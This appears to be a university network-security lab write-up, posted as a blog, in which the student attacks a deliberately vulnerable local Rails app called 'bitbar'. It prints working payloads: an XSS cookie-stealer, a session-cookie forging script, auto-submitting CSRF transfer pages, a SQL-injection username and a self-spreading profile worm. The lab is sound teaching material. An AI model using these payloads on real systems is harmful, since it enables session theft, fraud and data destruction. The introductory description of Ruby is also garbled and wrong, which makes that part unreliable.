武汉大学网络安全第二次理论课作业

环境搭建:

本次实验环境为电子货币服务网站—bitbar

需要安装的软件的简介

Ruby是一个用于构建基于 Java的应用程序的开源编程语言。Ruby是一个完整的分布式 Web开发框架,适用于开发多种 Web应用程序,包括 Web应用程序和 Web服务器。它提供一种快速、可靠的框架,用于构建 Web应用程序和服务器平台。Ruby提供了一种开放灵活的框架,该框架为 Web应用程序提供一种简单、可靠的框架设计。它使用面向对象技术用于分布式 Web应用程序部署和维护。此外,该框架是 Web应用程序开发体验优化的关键要素之一,这包括使 Web应用程序和服务器能够并行工作,并使用实时内存分析来预测存储库和设备之间的内存消耗状态等。

Ruby on Rails 是一个用于开发数据库驱动的网络应用程序的完整框架。Rails基于MVC(模型- 视图- 控制器)设计模式。从视图中的Ajax应用,到控制器中的访问请求和反馈,到封装数据库的模型,Rails 为你提供一个纯Ruby的开发环境。

服务器环境搭建:

安装Ruby2.4和rails 5.0.2:需要注意的是,由于版本兼容性问题,其实并不能按照实验提供的版本安装,会在适配过程中因为不能适用而出错(主要参考实验提供的文件)
只需要安装这两个软件(应该是)
所以我最终安装的版本为2.7.1的ruby和5.0.7的Rails


下载实验提供的project 2源码
重定位到/bitbar目录下(切换到/bitbar),执行bundle install
安装成功后启动服务器 (rails server)

访问localhost/3000即可。

1.1漏洞分析

打开起始网址:http://localhost:3000/profile?username=
这里的功能应该是输入用户查看用户的bitbar数量,测试查看用户123:

页面显示未找到用户123,此时url为:http://localhost:3000/profile?username=123,

很显然,页面使用的是GET方法,并将用户输入返回到页面上
从而进行攻击测试,因此构造脚本尝试攻击,发现有XSS漏洞:
<script>alert(/xss/)</script>

将上述代码上传后,发现回显了我们上传的内容,说明没有进行过滤、html编码等,因而存在可以直接攻击的XSS漏洞。

1.2 攻击原理

XSS漏洞原理:跨站脚本攻击(XSS)通常是指利用网页开发中存在的漏洞,通过巧妙的方法向网页中注入恶意指令代码,使用户加载并执行攻击者恶意构造的网页程序,这些恶意网页程序通常是由JavaScript编写的。HTML是一种超文本标记语言,通过特殊处理一些字符来区分文本和标记,例如,小于号(<)被视为HTML标签的起始符号。当动态页面中插入的内容包含这些特殊字符时,如果服务器没有对用户的输入进行有效验证,用户的浏览器可能会错误地将其解析为HTML标签。如果这些HTML标签引入了一段JavaScript脚本,那么这些脚本就会在用户的浏览器中执行。因此,当动态页面无法正确检查这些特殊字符或者检查存在错误时,就会导致XSS漏洞的产生。

我们需要构造一个javascript脚本,获取浏览器的cookie后发送到指定的地址,使用document.cookie获得cookie:

题目说明获取cookie后发送到

http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

这里也是get方法,?后为参数的字符串形式。

故目的url 为 ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie):

构造出来的脚本为:

查询资料:可以用XMLrequest发送请求,设置open method为GET,url为上述url即可,脚本构造完成。

代码如下

<script type="text/javascript">
var x = new XMLHttpRequest();
x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));
x.send()
</script>

执行代码前:

执行后:

Attack 2: Session hijacking with Cookies

2.1 漏洞分析

首先对cookie与session技术进行一些了解:会话技术——Cookies和Session详解 - 知乎 (zhihu.com)

各种web应用框架构造cookie的过程并不相同,因此以rails cookie构造为关键词进行搜索,了解rails构造cookie的过程即可。

根据实验要求,我们将以Attacker的身份登录,要做的就是伪装成User1登录,这需要在报头附上User1的Cookie,也就是说我们需要使用Attacker的Cookie伪造User1的Cookie。更改我们浏览器中存储的cookie值。

构造Cookie的过程如下:

\1) cookie serializer

Cookie Serializer是一种用于序列化和反序列化Cookie数据的机制,使用Marshal模块将对象转换为字符串,以便在Cookie中进行传输和存储。从 Rails 4.1 开始,默认使用的 JSON,4.1 之前使用的 Ruby Marshal。

\2) Padding

在Rails中,cookie padding技术使用了一种名为OpenSSL::Random的随机数生成器来生成随机数据,然后将这些数据添加到Cookie数据中。这些随机数据不会影响Cookie数据的有效性,但会增加Cookie数据的长度和随机性,padding技术只对Signed Cookies和Encrypted Cookies生效。如果使用的是未加密或未签名的Cookie,则不会使用cookie padding技术。Rails要求数据的字节数必须是 16 的倍数,用的算法是 PKCS7。简单说就是如果差 n 个字节到下个 16 的倍数就补 n 个 n。如果刚好是 16 的倍数就补 16 个 16。

\3) AES-CBC

这一步是最主要的加密,使用AES-CBC。加密需要配置密钥并随机生成 IV (initializa- tion vector)。因为 Ruby 的 OpenSSL::Cipher 封装会自动 padding,所以可以跳过第 2 步。

\4) 拼装加密内容和 IV

得到 encrypted_content 和 iv 后,分别 base64 后用 – 连接,然后再做一次 base64 得到 encrypted_data。

\5) 签名 HMAC-SHA1

最后把 encrypted_data 和 sign 用 -- 连接然后做一次 URL Query Escape 就可以了

因此解密的过程就是将上述步骤倒过来,分为以下几个步骤:

\1) 分离签名:URL Query Unescape 然后以 – 分成 encryptedData 和 sign。

\2) 验证签名:验证签名其实就是再签一次然后对比结果。为了安全,可以使用 hmac.Equal 来比较签名是否一致。

\3) 分离加密内容和IV: Base64 解码一次,用 -- 分离并分别 Base64 解码得到 encryptedContent 和 iv。

\4) 解密:用 Key 和 iv 来解密

\5) Unpadding: 去除 padding 只需要看最后一个字节是多少就移除多少个字节。

\6) Cookie Deserializer: 如果是 JSON 用 go JSON 库解析就可以了。如果是 Ruby Marshal 也 不用完整实现,可以用正则提取需要的信息。

2.2 攻击原理

根据提示,我们使用Mechanize。Mechanize是一个Ruby的库函数, 它被用于与web应用实现自动化交互。编写脚本,依次完成以下步骤:

Ÿ 实例化Mechanize对象,使用attacker的用户名和密码登录bitbar。

Ÿ 提交表单,获得服务器返回的attacker的cookie。

Ÿ 根据 ‘--’将签名前的部分分离并解密(bitbar没有使用AES,因此仅需要使用base64 decode并unpadding)

Ÿ 获得原始内容后,修改相关内容,重新序列化并加密

Ÿ 后半部分需要伪造签名,通过—与前半部分连接

Ÿ 获得user1对应cookie。

首先登录attacker,查看cookie


用上述脚本进行解码

发现logged_in_id>=4,那么合理猜测user1的logged_in_id是1

值得说明的是,伪造签名所需的密钥要在本地源代码中得到,其路径为 /bitbar/config/initializers/secret_token.rb !
因此修改产生user1的cookie
最终产生脚本如下:

require 'base64'
require 'openssl'
require 'rails'
require 'uri'
require 'net/http'
cookie ="BAh7CEkiD3Nlc3Npb25faWQGOgZFVEkiJTQxOGYwNmM1OWFjNDNkNjlhZGJkZTc3N2FjZWRkNWU1BjsAVEkiCnRva2VuBjsARkkiG25QZUxGQmFGb3V0ZmdsNGNCM3dOWkEGOwBGSSIRbG9nZ2VkX2luX2lkBjsARmkJ--5c992b3fc5dacacc3668830042a43e4f0ce56c92" 
cookie_value, cookie_signature = cookie.split('--')
raw_session = Base64.decode64(cookie_value)
session = Marshal.load(raw_session)
session['logged_in_id'] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 伪造前半部分
RAILS_SECRET ='0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08' 
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)
cookie_full = "#{session}=#{cookie_value}--#{cookie_signature}"
puts cookie_full

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full} #使用伪造的cookie访问

response = http.get(url,header)

puts response.body

执行脚本后返回了返回包的主体。

重新访问http://localhost:3000/ 时,已经变成了user1的情况了

说明我们构造的user1的cookie被服务器接收了,成功劫持了会话。

Attack 3: Cross-site Request Forgery

3.1 漏洞分析

由于评分人会事先登录user1,也就意味着在没有关闭浏览器的前提下cookie被保留,我们可以直接拿到user1的权限。所以我们要做的只是转账。首先查看转账界面。

CSRF是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。攻击者可以盗用用户的登陆信息,以受害用户的身份模拟发送各种请求。对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以受害者的名义发送邮件、发消息,盗取账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。

​ 因此,我们需要构造一个网页并在登录合法用户的情况下使用浏览器访问该页面,模拟出我们诱骗用户点击恶意链接的场景,完成自动转账。

3.2 攻击原理

可以发现这只是一个表单,提交的目标为”post_transfer”,方式为”post”。所以我们要做的就是做一个可以自动提交表单的网页。

<!DOCTYPE html>
<html lang="en">
<body>

    <form action="http://localhost:3000/post_transfer" method="post" id="attack">
        <input type="hidden" name="destination_username" value="attacker">
        <input type="hidden" name="quantity" value=10>
    </form>
    <script type="text/javascript">
        function post(){
            var form = document.getElementById("attack")
            form.submit();
        }
        window.load = post();
        setTimeout(function(){window.location.href = "http://www.baidu.com";}, 0.01);
        </script>
</body>
</html>

自动提交表单的函数名为post(),并且我们将表单设置为隐藏的,每次提交表单都是给attacker账户转账10元。Window.load对象的目的是保证表单提交的正确性和时序性,即保证先提交表单后重定向到baidu。

重定向部分是使用window.location.href方案来完成的,设置的时延为0.01ms。

可以看到转账已经成功了。

Attack 4: Cross-site request forgery with user assistance

4.1 漏洞分析


根据实验要求,在登录user1之后访问super_secure_transfer之后,发现该页面相较于attack3增加了用户手动输入secret token的步骤。因此我们如果想在这种情况下完成欺骗,需要编辑页面,诱导用户手动输入自己的secret token,否则仅依靠cookie无法完成转账。其他部分与attack3相似,本次任务使用XMLHttpREquest

4.2 攻击原理

代码如下:

<html>
<body>
    <input id="token_input" type="text" placeholder="Captcha">
    <button onClick="attack()">输入Token后确认</button>
<script>
function attack(){
    var a = new XMLHttpRequest();
    a.open("POST","localhost:3000/super_secure_transfer",false);
    a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
    a.withCredentials=true;
    var token_input = document.getElementById("token_input").value;
    try{
    a.send("destination_username=attacker&quantity=10&tokeninput="+token_input);
    } catch (err) {
    // Do nothing on inevitable XSS error
    } finally{
        window.location = "http://www.baidu.com";
    }
}
</script>
</body>
</html>

攻击前登录user1查看各个账户比特币数:

打开bp.html,输入token提交,再次查看账户比特币数:


可见我们已经成功诱骗用户向attacker转账10个比特币。

Attack 5: Little Bobby Tables (aka SQL Injection)

5.1 漏洞分析

根据实验提示,本任务最终的目的是进行一次sql注入,整体流程为:构造SQL注入语句,用该语句为用户名注册一个账户,成功登录后在close页面删除自己的账户,达到的效果是删除自己注册的账户和user3。由于删除账户后不能恢复,因此本实验模拟了造成了受害者财产损失的场景。

​ 由于删除过程没有需要用户输入的数据,仅需要确认删除,因此猜测网站直接使用注册时输入的用户名构造了删除用户的数据库语句,构造一个测试用户如下:

尝试删除该用户:

可见删除时,网站并没有对用户名进行过滤。且执行的SQL语句是:

SELECT "users".* FROM "users" WHERE (username = '用户名')

5.2 攻击原理

我们要构造一个用户名同时指向当前用户名和user3即可,可以利用模糊查询,注册一个含有一个独特字符串的用户名即可使用模糊查询包含当前用户,最后构造用户名如下:

jzj' or username like 'jzj%

sql执行的语句应该是:

SELECT "users".* FROM "users" WHERE (username = 'jzj' or username like '%jzj%')

注册:

查看当前用户:

删除当前用户后再查看:


发现最开始创建的用户jzj已经没有了,可见删除成功。

Attack 6: Profile Worm

6.1 漏洞分析

存储型XSS:

存储型XSS是一种将恶意代码保存到服务器端的攻击方式,每当有用户访问包含恶意代码的页面时,就会触发代码的执行,从而达到攻击目的。有别于反射型XSS编写一次代码只能进行一次攻击的特点,存储型XSS的恶意脚本一旦存储到服务器端,就能多次被使用,称之为“持久型XSS”。 存储型XSS的攻击原理是,攻击者在交互页面输入恶意代码,然后提交到web程序,如果web程序对输入内容没有做XSS的防范,就会将恶意代码存储到数据库中。接下来只要有用户去访问和查看攻击者提交的内容,当web应用响应用户请求时,恶意代码就会从服务端读取出来并执行。因此,存储在服务端的恶意代码可以多次攻击不同的用户。例如,有一个发表动态的网站,攻击者可以在发表动态的表单中提交恶意代码,其他用户去查看攻击者的这条动态消息的时候,这些恶意脚本从服务端加载下来,被浏览器所解析和执行。通过我们的实验要求可以得出我们要构造的就是一个存储型XSS,在HTML中间插入代码。

我们登录user1并查看attacker的profile,查看页面源代码:

根据提示Myspace worm,我了解了Samy Kamkar对 http://MySpace.com的XSS Worm攻击。MySpace允许用户控制标签的style属性,通过style,还是有办法构造出XSS的。

分析bitbar查看profile界面的源代码可知:

bitbar_count 中的 class 属性的值会被当成代码执行。因此我们可以想办法将转账和修改 profile 的 js 代码嵌入一个标签内并将标签内容传入 class 属性。这样当其他人查看该用户的 profile 时会自动进行转账及修改 profile 的操作。

6.2 攻击原理

​ 我们要在代码中分别实现转账和复制profile的功能,转账功能可以参考之前的attack3和attack4,复制profile功能暂时不知道运行过程,我们可以修改attacker的profile进行抓包:

可见修改profile需要向set_profile POST new_profile,通过前面的漏洞分析可知id为bitbar_count的span标签内class的内容会被当做代码执行,因此我们构造span标签id为bitbar_count,并使用 DOM树的接口document读取一个标签块中的js代码,传递给 class,这些代码就会被执行。

具体代码如下:

<span id="wr">
<span id="bitbar_count" class="eval(document['getElementById']('hizt')['innerHTML'].replace('amp;',''))"></span>
<span id="hizt">
document.getElementById('hizt').style.display= "none";

  var a = new XMLHttpRequest();
  a.open("POST","http://localhost:3000/post_transfer",false);
  a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  a.send("destination_username=attacker&quantity=1");
  var request = new XMLHttpRequest();
  request.open("POST","http://localhost:3000/set_profile",true);
  request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  request.send("new_profile=".concat(encodeURIComponent(document.getElementById('wr').outerHTML)));
100
</span>
<p>transfer and profile done</p>
</span>

ID为"bitbar_count"的span具有一个类属性。类属性的值是一个JavaScript表达式即使用eval函数来执行一段JavaScrip,该代码获取attack元素的innerHTML并返回结果。这样,bitbar_count元素的类属性将包含这段JavaScript代码的执行结果。

在JavaScript代码中实例化了两个对象:

steal用于偷取比特币,向post_transfer发送,内容与前两个偷取实验基本相似,edit用于修改受害者的profile,向set_profile发送POST请求,参数为"new_profile="加上worm元素的HTML内容,通过encodeURIComponent进行编码。

最后给出一个虚假的比特币数100。

将代码复制到attacker的profile中

登录user1,查看attacker的profile:

再查看自己的profile和比特币:

登录user1查看attacker的profile并点击show:


再查看各账户比特币:

发现attacker账户已经多了1个比特币,而user1少了一个。说明worm成功在用户间传播且起效,任务完成。

posted @ 2023-05-23 23:31  shallowsea53166  阅读(426)  评论(0)    收藏  举报